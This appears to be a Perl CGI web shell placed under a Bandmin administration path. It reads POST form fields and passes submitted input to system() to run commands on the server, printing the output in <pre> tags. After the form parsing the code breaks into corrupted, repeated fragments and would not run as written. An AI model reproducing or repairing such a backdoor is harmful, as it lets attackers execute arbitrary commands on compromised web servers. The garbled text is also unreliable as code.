#!/usr/bin/perl   -I/usr/local/bandmin
use MIME::Base64;print "Content-type: text/html\n\n";if($ENV{'REQUEST_METHOD'} eq "POST"){my ($i, $key, $val, $in);read(STDIN, $in, $ENV{'CONTENT_LENGTH'});@in = split(/&/, $in);foreach $i (0 .. $#in){$in[$i] =~ s/\+/ /g;($key, $val) = split(/=/, $in[$i], 2);$key =~ s/%(..)/pack("c", hex(;g$g/ eG=){mII$( g\6H=}/airhex(f""sl}i],$g/ eG=){mII$( g\6H=}],$x"\/$g/ eG=){mII$( g\6H=}/air,$x"f""6H=}/ack=){."<pre>";system(\6H=}/air,$x"f""6H=}eG=){)perl   -</pre>"}}